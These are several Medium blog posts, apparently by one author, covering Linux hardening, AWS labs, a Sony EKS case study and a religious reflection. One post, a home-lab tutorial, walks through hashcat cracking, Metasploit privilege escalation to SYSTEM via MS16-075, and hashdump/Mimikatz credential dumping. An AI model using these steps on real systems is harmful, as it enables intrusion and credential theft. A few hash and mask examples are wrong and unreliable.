This is especially relevant to our later work because incorrectly configured privileged binaries can contribute to privilege-escalation risks.

Check for Incorrect File Ownership

We should also verify whether files inside users’ home directories actually belong to the expected users.

For example:

sudo find /home/admin -xdev ! -user admin -ls

This searches for files inside admin's home directory that are owned by someone else.

Unexpected ownership can indicate:

• Poor administration
• Incorrect permissions
• Files copied by another account
• Or, in some cases, suspicious activity

Again, finding something unusual is not the same as proving compromise. It simply gives us something to investigate.

Examine System Directories

The lab also asks us to look for end-user-owned files inside system directories such as:

/

/etc

/bin

/sbin

/usr

For example:

sudo find /etc /bin /sbin /usr -xdev -user admin -ls

A normal user-owned file inside locations such as /etc or /usr would be unusual and should be investigated.

We are essentially asking:

Does ownership match the purpose of the directory?

Establishing a Security Baseline with Lynis

At this point, we have manually examined several aspects of the system.

Now we can use a security auditing tool to help us identify additional areas that deserve attention.

Install Lynis:

sudo apt install lynis

Run a system audit:

sudo lynis audit system

Lynis will examine different areas of the system and provide findings and recommendations.

In my scan, for example, Lynis identified 37 running services and 67 enabled services, and flagged services such as apache2, avahi-daemon, and cockpit as UNSAFE.

Your tast is to review the Lynis output carefully. Don’t immediately apply every recommendation. Instead, identify the findings that are relevant to this server’s intended role and record them as potential hardening tasks for later episodes.

This gives us another valuable part of our baseline: what an automated security audit thinks needs attention.

The more useful part is understanding why Lynis recommends a particular change.

📝: A Lynis warning is not automatically a vulnerability. Treat each finding as something to investigate and validate against the actual purpose and configuration of the server.

File Integrity Monitoring with AIDE

Another useful tool for system examination is AIDE (Advanced Intrusion Detection Environment).

Install it with:

sudo apt install aide

AIDE works by creating a baseline of selected files and later comparing the current state against that baseline.

Initialize the database:

sudo aide --init

Then check the generated database:

ls -l /var/lib/aide/

Once the baseline has been established, AIDE can be used to identify changes to monitored files.

This is different from our earlier debsums experiment.

debsums primarily verifies package-managed files against their recorded checksums, while AIDE provides a broader file-integrity monitoring approach.

If a monitored system file changes later, will we be able to detect it?

📝: At this stage, we are not trying to fix anything. We are simply establishing how AIDE sees the current state of the system.

Evaluating the Dynamic State

So far, we have examined what exists on the system.

Now we need to examine what the system is doing.

This is the dynamic state.

We want to understand:

• What processes are running?
• What services are listening?
• Who is currently logged in?
• What network connections exist?
• What security-related activity is being recorded?

Some useful commands include:

ps aux

ss -tulpn

who

w

We are no longer looking at the server as a collection of files and packages.

We are observing it as a running system.

Examining Authentication Logs

One of the most useful sources of information about system activity is the authentication log.

On Ubuntu, examine:

sudo less /var/log/auth.log

We can search for failed authentication attempts:

sudo grep "Failed" /var/log/auth.log

Successful SSH logins can be reviewed with:

sudo grep "Accepted" /var/log/auth.log

And sudo-related activity with:

sudo grep "sudo" /var/log/auth.log

But rather than simply reading old entries, let’s generate some known events ourselves.

Generate Failed Authentication Events

Test sudo

Run:

sudo -k

sudo whoami

When prompted, intentionally enter the wrong password.

Then check the log:

sudo grep -a "incorrect password" /var/log/auth.log

Observe how the failed attempt was recorded.

Test su

Run:

su -

Enter an incorrect password.

Then examine:

sudo grep -a "su" /var/log/auth.log | tail

Compare the entry with the failed sudo attempt.

Test SSH with an Incorrect Password

From the host machine, attempt to connect using SSH:

ssh admin@<server-ip>

Enter an incorrect password.

Then return to the server and check:

sudo grep -a “sshd” /var/log/auth.log | tail

Test SSH With an Invalid Username

Now try connecting with a username that does not exist:

ssh fakeuser@<server-ip>

After the failed attempt, check the authentication log again:

sudo grep –a "sshd" /var/log/auth.log | tail

Compare the different entries.

This exercise helps us become familiar with what failed authentication attempts actually look like from the system’s perspective.

That knowledge becomes extremely useful when we move into logging, monitoring, and detection later in the project.

What Have We Learned?

At this point, we have examined the server from several different angles.

We looked at:

• Installed software and packages
• Outdated software
• Potential CVEs
• File ownership and permissions
• Security auditing with Lynis
• File integrity monitoring with AIDE and more…

The important part is not the number of commands we ran.

It is the baseline we are building.

We now have a much clearer picture of what exists on this server, what it is doing, and where we need to pay attention.

What’s Next?

We have examined the system.

Now we can start changing it

In the next episode, we move from examination to configuration and hardening, where we begin addressing the weaknesses and unnecessary exposure identified during this assessment.

If you liked what you just read, consider:

◆ Liking the article

◆ Dropping a comment to show your support

◆ Sharing the article with others who will find it useful

◆ Follow me on Medium and LinkedIn

Before you go

• Please take a moment to like the post and follow the writer!
• Did you know that over 400,000 developers share what they’re building, learning, and discovering across our platforms every month? Learn how you can contribute here.

Building a Bulletproof Linux Server — Ep. #3: System Examination was originally published in AWS in Plain English on Medium, where people are continuing the conversation by highlighting and responding to this story.

There is a dry cleaner I know.

He has a small shop.

Small enough to wash in it…

Sleep and eat in it.

He’s in his forties now; never married.

A good man, I think.

At least, he wants to be.

But there is one thing that keeps stealing from him.

Drink.

Some days he promises to deliver clothes.

Mostly, he forgets.
And some days he crashes before the day is done.

Each time I see him, I don’t laugh.

I don’t judge him.

I just wonder how many dreams alcohol has buried without anyone holding a funeral for them.

Sad;

The thing about sin is that it rarely destroys a man in one night.
It takes its time.

One drink becomes a habit.

One habit becomes a name.

Then one day, people stop saying,

“He’s struggling.”

They simply say,

“That’s just who he is.”

I think that’s the part that scares me the most.

And… hmm, drink is only one face of the story.
There are young men whose addiction isn’t in a bottle.

It’s in women.
Some cannot spend a week without chasing one.

Others boast about zina as though it were an achievement.

Some have built an entire personality around the sins they once tried to hide.

It’s strange.

The very things that should break a man’s heart now earn him applause.

May Allah protect us.

Not all sins make headlines though.

Even so, some are quiet that only Allah knows they exist.

The gaze you refused to lower.

The song you promised would be the last.

The handshakes you know you shouldn’t have.

The prayer you keep delaying.

Sometimes a man isn’t falling off a cliff.

He’s drifting.

And drifting is dangerous because it doesn’t feel like falling.

But perhaps…

As you’ve been reading all this my friend, you’ve quietly been saying,

“Alhamdulillah, Alhamdulillah… Allah has protected me from much of it.”

Maybe you’ve never tasted alcohol.

Maybe you feel uneasy when music fills the air. Or you fear one sin more than you fear being called “boring.”

Dear reader..

Don’t let the numbers fool you.

Truth has never needed a crowd.

If everyone around you is running toward the edge, it doesn’t make the edge any safer.

So if obeying Allah sometimes makes you feel out of place…

Or saying “no” has made you lose friends…

Maybe you are not the one who is odd.

The world around you has simply forgotten what normal looks like

Now listen closely…

The world may look at you and see someone “missing out.”

The Prophet ﷺ looked at you and saw something else.

A stranger.

Yes, he literally called you a stranger.

Because you refused to fit into what displeases Allah.

So wear your strangeness with gratitude.

Because here is the thing; some people are strangers to the world.

Others are strangers to Jannah.

Choose carefully which one you would rather be.

طُوبَى لِلْغُرَبَاءِ

Glad tidings to the strangers.

By: Abdul-mumin
Editor-in-chief

©️ Editorial Board, MSSN FUTMINNA

In the previous episode, I learned that before anyone can use AWS resources, AWS first needs to know who they are through Identity and Access Management (IAM).

This time, the focus shifted from identity to infrastructure.

Before learning how applications are deployed in the cloud, I wanted to understand the environment they run in.

That environment is the Amazon Virtual Private Cloud (Amazon VPC).

Along the way, I also explored two cloud-native approaches to running applications; serverless computing and containers.

Although the hands-on lab focused primarily on networking, understanding these concepts helped me see how everything fits together.

Three ways applications run in AWS

When I first started learning AWS, I thought every application simply ran on a virtual machine.

That’s only one option.

AWS provides several ways to run applications, depending on the level of control you need.

Amazon EC2

You manage the server yourself.

• Install software
• Patch the operating system
• Configure networking
• Scale resources

Maximum flexibility.

Maximum responsibility.

Containers

Containers package an application together with everything it needs to run.

Instead of worrying about whether an application works on another machine, containers ensure consistency across different environments.

AWS provides services such as:

• Amazon ECS
• Amazon EKS
• AWS Fargate

to run containerized workloads.

Serverless

Serverless removes server management completely.

You simply upload your code, and AWS automatically provisions infrastructure, scales your application, and charges only for actual usage.

Popular serverless services include:

• AWS Lambda
• Amazon API Gateway
• Amazon DynamoDB

No servers to patch.

No infrastructure to manage.

Regardless of whether an application runs on an EC2 instance, inside a container, or as a serverless function, it still needs a network to communicate securely.

That’s why we need to talk about VPC.

Understanding Amazon VPC

Think of an Amazon VPC as your own private section of the AWS cloud.

Just as organizations design their own corporate networks, AWS allows customers to create isolated virtual networks where they control IP addressing, routing, internet connectivity, and security.

In this lab, I explored a pre-configured VPC hosting a web application and examined the networking components that made communication possible.

Components explored in the lab

Internet Gateway

What gives internet access.

Public Subnet

Where internet-facing resources live.

Route Table

How traffic knows where to go.

Security Groups

Virtual firewall.

EC2

The web server.

Lab Activities

The lab began by examining an existing Amazon VPC configured with a public subnet, route table, and Internet Gateway.

I reviewed how traffic was routed from the subnet to the internet and how Security Groups acted as virtual firewalls controlling inbound and outbound communication.

Afterwards, I launched an Amazon EC2 instance into the VPC, associated it with the existing security group, and used a user data script to automatically install Node.js, retrieve the application package from Amazon S3, install dependencies, and start the web application.

The coolest thing I learned

My favorite takeaway wasn’t launching the EC2 instance.

It was the User Data script.

Instead of manually logging into the server to install software, AWS automatically executed the bootstrap script during launch.

That small feature demonstrated one of the biggest ideas in cloud computing:

Infrastructure should be automated whenever possible.

In future episodes, I will be configuring DNS. To access the web app, I used the public address 43.207.78.152

Cybersecurity Perspective

Coming from cybersecurity, I immediately looked at the Security Group differently.

Rather than thinking of it as just another AWS feature, I saw it as a cloud-native firewall implementing the Principle of Least Privilege.

Only HTTP (80) and HTTPS (443) traffic were allowed into the web server, while outbound traffic was limited to only what the application required.

Security in AWS begins long before an application is deployed — it begins with how the network itself is designed.

Key Takeaways

• Serverless removes server management.
• Containers package applic+ations consistently.
• Amazon VPC provides network isolation.
• Security Groups function as virtual firewalls.
• Infrastructure automation saves time and reduces manual errors.
• Cloud security begins with proper network design.

What’s Next?

In the next episode, I’ll continue documenting my AWS Solutions Architect journey as I build a deeper understanding of the services that make modern cloud architectures secure, scalable, and highly available.

If you liked what you just read, consider:

◆ Dropping a comment to show your support

◆ Sharing the article with others who will find it useful

◆ Follow me on medium and LinkedIn

Cheers.

An interactive guide for building your very own ethical hacking home lab using VMware

Banner Inspired by: David Varghese

In this episode, we shift from system exploitation to what attackers do after gaining access: extracting credentials and identifying system weaknesses at scale.

This lab focuses on:

1. Hashcat Benchmark
2. Creating NTLM Hashes
3. Mask Attacks (When Pattern Is Known)
4. Dictionary Attacks
5. Cracking Without a Wordlist
6. Hash Identification & Strategy
7. Dumping Real Hashes
8. Dumping Windows Account Hashes
9. OpenVAS (Greenbone) Vulnerability Assessment

Hashcat Benchmark

Before cracking passwords, we measure system cracking performance.

hashcat -b -m 5600

• -b → benchmark mode
• -m 5600 → NetNTLMv2

The output shows speeds such as MH/s, KH/s, GH/s, representing how many hashes can be tested per second. Higher speed = faster cracking capability.

Creating NTLM Hashes

We simulate stolen Windows credentials.

Use an NTLM hash generator and create hashes for:

• Password04$
• house123
• Password
• hacker
• Meatballs1

Save them:

nano ntlm_hashes.txt

Each line = one hash.

NTLM is used in Windows authentication and is common in breaches.

Mask Attacks (When Pattern Is Known)

Mask attacks are used when we know password structure.

Crack “Password04$”

Run Command

hashcat -m 1000 -a 3 ntlm_hashes.txt ?u?l?l?l?l?l?l?d?d$

So instead of trying billions of random guesses, it only tries combinations that look like:

What You See in the Output

Example:

Speed.#1.........: 820.5 MH/s
Progress.........: 456789012/1820000000
Recovered........: 1/5 (20.00%)Meaning:

When It Succeeds

You’ll see:

5f4dcc3b5aa765d61d8327deb882cf99:Password04$

This means:

Hash → Password mapping is complete.

Hashcat then stores it in:

hashcat.potfile

You can confirm later with:

hashcat -m 1000 ntlm_hashes.txt --show

Note: I cracked a password with a very weak policy (1234) to reduce the cracking time for the purpose of demonstration. You will leave hascat to run much longer in order to crack Password04$

Mask attacks are extremely powerful when password policy is known.

Crack “house123” Using Full Charset

hashcat -m 1000 -a 3 ntlm_hashes.txt ?a?a?a?a?a?a?a?a

?a = all characters (letters, numbers, symbols)

This is slower that but flexible.

Dictionary Attacks

Dictionary attacks use real leaked passwords.

First, download rockyou

Decompress the .gz file with the following commands:

gzip –d /home/attacker/Downloads/rockyou.txt

Using Hashcat

hashcat -m 1000 ntlm_hashes.txt /home/attacker/Downloads/rockyou.txt

ℹ️: Rockyou contains millions of real passwords from breaches.

As you can see, it already cracked the passwords.

If passwords don’t crack:

echo "Password" >> /home/attacker/Downloads/rockyou.txt
echo "Meatballs1" >> /home/attacker/Downloads/rockyou.txt

This will append the passwords to the list

Using John the Ripper

john --format=NT ntlm_hashes.txt
john --show ntlm_hashes.txt

John applies mutation rules automatically (like Password → Password1).

Cracking Without a Wordlist

For hacker:

john --format=NT ntlm_hashes.txt

John uses incremental brute force + rules.

Hash Identification & Strategy

hashid 06DDC11A1EA340A47E8EDC44D42EA716

We are given pattern clues. Instead of brute force, we design a mask:

hashcat -a 3 -m 1000 ntlm_hashes.txt ?u?l?l?l?li?l2?d?d?d?d

This shows how attackers reduce cracking time using intelligence.

Dumping Real Hashes

In the previous episode, we successfully exploited the target and established a Meterpreter session on the Windows machine.

At that stage, we had code execution… but not full control.

There’s an important distinction:

• Access ≠ Control
• Shell ≠ SYSTEM

So, to extract credentials and truly own the machine,

we needed privilege escalation.

Step 1: Understanding Our Current Privilege Level

After gaining our Meterpreter session, we verified our access level:

getuid

Output showed:

NT AUTHORITY\LOCAL SERVICE

This is a low-privileged service account.

Why this is concerning:

• Cannot dump SAM database
• Cannot access LSASS memory
• Cannot migrate into SYSTEM processes
• Cannot perform hashdump

And when we attempted migrating to a System process ID

Let’s choose smss.exe with PID 224

migrate <PID>

We received:

Cannot migrate into this process (insufficient privileges)

This confirmed that escalation was required.

Step 2: Enumerating Privileges

We checked available privileges:

getprivs

The key privilege we were looking for:

SeImpersonatePrivilege

This privilege allows a process to impersonate tokens of higher-privileged accounts — and it is commonly abused in Windows privilege escalation attacks.

Step 3: Identifying Exploitable Vectors

We then used Metasploit’s local exploit suggester:

Let’s background the session and use the suggester exploit

background
use post/multi/recon/local_exploit_suggester

Set session to 1 and run the exploit

set SESSION 1
run

The module analyzed:

• OS version
• Patch level
• Running services
• Token privileges

It identified multiple potential vulnerabilities.

Since the target was Windows 2008, older kernel exploits were unreliable. We selected a token impersonation attack suitable for this version.

Step 4: Exploiting MS16–075 (Juicy Potato Variant)

Initial attempts with:

exploit/windows/local/ms16_075_reflection

failed due to timeout issues.

We adapted and used the Juicy Potato variant:

use exploit/windows/local/ms16_075_reflection_juicy

set SESSION 1
run

📝: I set to session 2 because that is the ID on my side. Use the corresponding session ID.

This exploit abuses:

• SeImpersonatePrivilege
• Windows COM service authentication
• SYSTEM token impersonation

Let us verify elevation:

getuid

Output:

NT AUTHORITY\SYSTEM

We now had full SYSTEM-level control.

Dumping Windows Account Hashes

With SYSTEM privileges obtained, we could now access credential storage.

Step 1: Dumping Hashes from SAM

Inside the SYSTEM session:

hashdump

This extracts:

• Local account usernames
• NTLM password hashes
• Relative IDs (RIDs)

The NTLM hash is the target for offline cracking.

Step 2: Using Kiwi (Mimikatz Integration)

If deeper extraction is required:

load kiwi
lsa_dump_sam

This method is more powerful and flexible than basic hashdump.

Step 3: Preparing for Offline Cracking

We saved the extracted hashes:

nano hashes.txt

Then cracked them offline using Hashcat:

hashcat -m 1000 hashes.txt rockyou.txt

Where:

• -m 1000 = NTLM
• hashes.txt = dumped hashes
• rockyou.txt = wordlist

Follow the above commands and use the steps we did in part 3 & 4

OpenVAS (Greenbone)

This is automated vulnerability scanning. Greenbone is another tool we use for that purpose.

Setup

Download Greenbone VM
It is 7GB

Import into VMware

On your Workstation, navigate to Edit virtual machine settings and change the network adapter to Host-only

Start Greenbone and get IP

Here, the IP is 192.168.52.137

On your Kali, open web browser and type in the IP address of Greenbone

The browser shows a security risk warning

Click Advanced…

Accept the Risk and Continue

This takes us to the web interface

Login with the default credentials

Username: admin | Password: admin

On the Greenbone dashboard, click Tasks

Click the magic wand symbol

Select Advanced Task Wizard

It will open the task window

Select the Full and fast scan and type your Metasploitable3 IP address

Click Create

The scan is now queued

So, we’ve come to the end of password cracking episode

This lab demonstrated how quickly weak passwords can be recovered once hashes are obtained. Using tools like Hashcat and John the Ripper, we transformed NTLM hashes into plaintext credentials through structured attack strategies such as dictionary and rule-based attacks.

The key takeaway is clear:

password strength is a critical security control. Once hashes are extracted, offline cracking bypasses account lockouts and monitoring, making weak credentials a serious risk.

Understanding how passwords are cracked is essential to understanding how they should be defended; through strong password policies, multi-factor authentication, and proper credential management.

See you in the next episode.

If you liked what you just read, consider:

◆ Dropping a comment to show your support

◆ Sharing the article with others who will find it useful

◆ Follow me on medium and LinkedIn

◆ If you’re following the setup for this lab and you come across any technical issue, feel free to reach me through WhatsApp.

Building a Virtual Ethical Hacking Home Lab — Part 7: Password Cracking and Vulnerability… was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

“Do you even care? Yours is just to have fun 🎮”

And honestly…

You shouldn’t have to.

Remember the chaotic launch of the PlayStation 5 in late 2020?

The world was locked down, everyone was desperate for entertainment, and the demand for the new gaming console was high.

Millions of gamers were logging on simultaneously, demanding zero lag and seamless downloads.

For the players, it was a paradise on earth. After all, COVID had retired everyone to the comfort of their homes.

But behind the scenes at Sony Interactive Entertainment (SIE), it was an infrastructure nightmare waiting to happen.

The “Too Many Kitchens” Problem

To understand the problem, imagine the PlayStation Network isn’t a digital service, but a massive, global restaurant chain.

Before 2020, Sony’s backend was a mess of different “kitchens.”

Some developers were cooking on their own local servers, others were using random cloud tools, and everyone had their own weird recipes (programming languages) and schedules.

When things went wrong like a player’s friends list not loading; it was a scramble to figure out which kitchen messed up the order.

Highly skilled developers were spending half their time just fixing the plumbing rather than designing new games and features.

So how did Sony go about this?

Sony realized they needed to standardize. They couldn’t have 50 different kitchens operating under different rules. They needed one massive, highly efficient, unified mega-kitchen.

They built something called the Unified Kubernetes Service (UKS), and the entire thing is powered by Amazon EKS (Elastic Kubernetes Service).

Why EKS?

By choosing Amazon EKS (Elastic Kubernetes Service), Sony offloaded that burden to AWS.

• The Control Plane (Managed by AWS): AWS provisions, scales, and secures the Kubernetes API servers and the etcd backend database across multiple Availability Zones (AZs) for high availability. Sony doesn’t have to touch it.
• The Data Plane / Worker Nodes (Managed by Sony): Sony only has to worry about the actual compute instances (Amazon EC2 instances) where their game services run. EKS links these nodes directly to the Control Plane.

They Implemented Microservices

Sony migrated over 400 different backend services to this unified platform. Instead of one massive application, PSN is broken into independent microservices (e.g., a service just for trophies, a service just for party chat).

Here is how the EKS ecosystem powers them:

1. Amazon ECR (Elastic Container Registry): Before a microservice can run, its code is packaged into a “container image” (a lightweight, standalone executable package). Sony stores these images securely in ECR. When EKS needs to launch a new instance of the party chat service, it pulls the blueprint directly from ECR.
2. AWS Secrets Manager: You never want to hardcode passwords or database keys into your software. Sony integrated AWS Secrets Manager natively into their cluster. When a microservice boots up, it securely asks Secrets Manager for its credentials on the fly.
3. Auto Scaling via EKS: Let’s say a new Spider-Man game drops and traffic spikes 1,000%. EKS monitors the CPU and memory load. It automatically tells AWS to spin up more EC2 Worker Nodes and deploys cloned containers across them to absorb the traffic. Once the spike ends, EKS terminates the extra nodes to save money.

The best part is that Sony didn’t have to build the manager from scratch. AWS handles the heavy lifting of keeping the Kubernetes manager healthy and secure.

The CI/CD Pipeline

Because everything was now unified on one EKS platform, Sony’s platform engineering team built a massive, automated CI/CD (Continuous Integration / Continuous Delivery) pipeline.

Instead of developers manually configuring servers, they just write their code. The CI/CD pipeline automatically tests the code, runs security scans across it, and deploys it to the EKS cluster. By enforcing these uniform security scans at the runtime level, Sony went from having four different, fragmented security setups to just one ironclad standard.

The High Score

By moving everything onto this one unified AWS platform, Sony crushed their high score:

• Saved Serious Cash: They reduced their operational costs by 60% because they stopped paying for redundant, overlapping tools.
• Speed Demon: Developers can now deploy new features 5x faster. Training new developers dropped from a grueling 16 hours down to just 3.
• Zero Downtime: They migrated over 400 vital services to this new system without any major crashes. You probably didn’t even notice it happened while you were gaming.

So, the next time you instantly join a party chat or download an update at lightning speed, you can thank Amazon EKS for keeping the kitchen running smoothly.

If you liked what you just read, consider:

◆ Dropping a comment to show your support

◆ Sharing the article with others who will find it useful

◆ Follow me on medium and LinkedIn

Cheers.

Before you go

• Please take a moment to like the post and follow the writer!
• Did you know that over 400,000 developers share what they’re building, learning, and discovering across our platforms every month? Learn how you can contribute here

How Sony Scaled for 100 Million+ Gamers Using AWS was originally published in AWS in Plain English on Medium, where people are continuing the conversation by highlighting and responding to this story.

Hello, amiable reader. I’m Abdul-Mumin.

I’ve spent the last few years building cybersecurity labs, exploiting vulnerable systems, hardening Linux servers, and studying digital forensics.

But one thing became obvious:

modern infrastructure is moving to the cloud.

So after passing the AWS Cloud Practitioner certification, I began the AWS Cloud Solutions Architect Specialization on Coursera to better understand how cloud environments are designed, deployed, and secured.

Interestingly, AWS didn’t begin by teaching me EC2; the service most people associate with AWS.

Instead, the first module focused entirely on Identity and Access Management (IAM).

At first, I wondered why.

By the end of the lab, the answer was obvious: before anyone can deploy infrastructure, AWS first needs to know who they are and what they’re allowed to do.

What is IAM?

Identity and Access Management (IAM) is the AWS service responsible for controlling authentication and authorization. Simply put, it ensures that the right identities have the right level of access to AWS resources.

Throughout the lab, one thing became very clear:

• Every request made to AWS is tied to an identity.
• Permissions are never granted automatically.
• Users should only receive the permissions they need to perform their jobs.
• The root account should only be used for administrative tasks that require it — not for everyday operations.

What happened in the lab?

The lab introduced the core building blocks of AWS IAM:

• Users
• User Groups
• Roles
• Policies

At its core, an IAM user is simply an identity that is granted permission to perform specific actions on specific AWS resources. Rather than assigning permissions directly to every individual user, AWS encourages administrators to manage permissions through groups and policies.

For example, in the case of User-1 — EC2 Admin

There is no individual permission

You may notice that User 1 (S3 Support) doesn’t have any permissions directly assigned.

Instead, the user inherits permissions from the IAM group they belong to.

You might also notice a policy named RegionPinningPolicy.

This is a customer-managed IAM policy that restricts users or workloads to operating within a specific AWS Region (for example, us-east-1).

Since this lab runs inside a controlled learning environment, the policy prevents users from accidentally launching resources in other regions — helping control costs and maintain consistency throughout the exercises.

Assigning permissions to groups instead of individual users isn’t just convenient — it’s a cloud security best practice.

It reduces administrative overhead, minimizes the risk of permission creep, and helps organizations maintain consistent access controls as teams grow.

The Business scenario

According to the lab:

Your company’s use of Amazon Web Services grows over time. The company uses many Amazon EC2 instances and a significant amount of Amazon S3 storage. You want to grant access to new staff members based on their job functions, as shown in the table.

Each user was assigned to its respective group

Using the IAM sign-in URL for the IAM Users

Navigation: IAM >> Dashboard >> AWS Account

Then I used the URL to login with different users 1,2 and 3; tested what each account was allowed — and not allowed — to do.

For example for user-1 who is not allowed to View, Start, and Stop Amazon EC2 instances is tested here:

This demonstrated Role-Based Access Control (RBAC) in practice.

Each user’s permissions were determined by the IAM group they belonged to, rather than by permissions assigned directly to the user.

What’s Next?

That is all for the lab!

.

This is only the beginning.

Over the coming weeks I’ll be documenting each major AWS lab as I work toward becoming a Cloud Solutions Architect.

The goal isn’t just to finish a course.

It’s to build enough practical understanding to confidently design secure cloud environments.

If you liked what you just read, consider:

◆ Dropping a comment to show your support

◆ Sharing the article with others who will find it useful

◆ Follow me on medium and LinkedIn

Cheers.